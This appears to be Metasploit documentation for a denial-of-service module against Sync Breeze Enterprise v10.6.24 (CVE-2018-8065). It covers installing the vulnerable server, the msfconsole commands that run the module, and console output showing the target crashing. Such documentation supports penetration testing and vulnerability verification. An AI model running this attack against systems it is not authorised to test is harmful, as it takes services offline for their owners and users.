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## Description
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This module triggers a Denial of Service vulnerability in the Sync Breeze Enterprise HTTP server. It is possible to trigger
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a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
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## Vulnerable Application
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According To publicly exploit Disclosure of Sync Breeze Enterprise v10.6.24
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this software is vulnerable to Denial Of Service.
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read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
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**Vulnerable Application Link**
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http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.6.24.exe
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## Vulnerable Application Installation Setup.
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Download Application : ```http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.6.24.exe```
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**And Follow Sync Breeze Enterprise v10.6.24 Setup Wizard**
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After the installation navigate to: ```Options->Server```
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Check the box saying: ```Enable web server on port:...```
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## Verification Steps
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1. Install the application
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2. Start msfconsole
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3. Do: `use auxiliary/dos/http/syncbreeze_enterprise_dos`
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4. Do: `set rport <port>`
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5. Do: `set rhost <ip>`
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6. Do: `check`
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```
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[*] 192.168.1.27:80 - Checking connection to 192.168.1.27:80
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[+] 192.168.1.27:80 - Sync Breeze Enterprise v10.6.24 verified.
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[+] 192.168.1.27:80 The target is vulnerable.
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```
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7. Do: `run`
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8. Web server will crash after 200-1000 request depending on the OS version and system memory.
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## Scenarios
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**TESTED AGAINST WINDOWS 7/10**
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```
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msf5 > use auxiliary/dos/http/syncbreeze_enterprise_dos
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msf5 auxiliary(dos/http/syncbreeze_enterprise_dos) > set rhost 192.168.1.27
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rhost => 192.168.1.27
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msf5 auxiliary(dos/http/syncbreeze_enterprise_dos) > set rport 80
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rport => 80
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msf5 auxiliary(dos/http/syncbreeze_enterprise_dos) > run
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[*] 192.168.1.27:80 - Checking connection to 192.168.1.27:80
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[+] 192.168.1.27:80 - Sync Breeze Enterprise v10.6.24 verified.
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[*] 192.168.1.27:80 - Sending HTTP DoS packets...
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[*] 192.168.1.27:80 - Request size: (6667) byte
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[*] 192.168.1.27:80 - Request size: (13990) byte
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[*] 192.168.1.27:80 - Request size: (15797) byte
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[*] 192.168.1.27:80 - Request size: (20369) byte
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[*] 192.168.1.27:80 - Request size: (11119) byte
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[*] 192.168.1.27:80 - Request size: (16293) byte
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[*] 192.168.1.27:80 - Request size: (13830) byte
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...
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[+] 192.168.1.27:80 - DoS successful 192.168.1.27 is down !
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[*] Auxiliary module execution completed
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```
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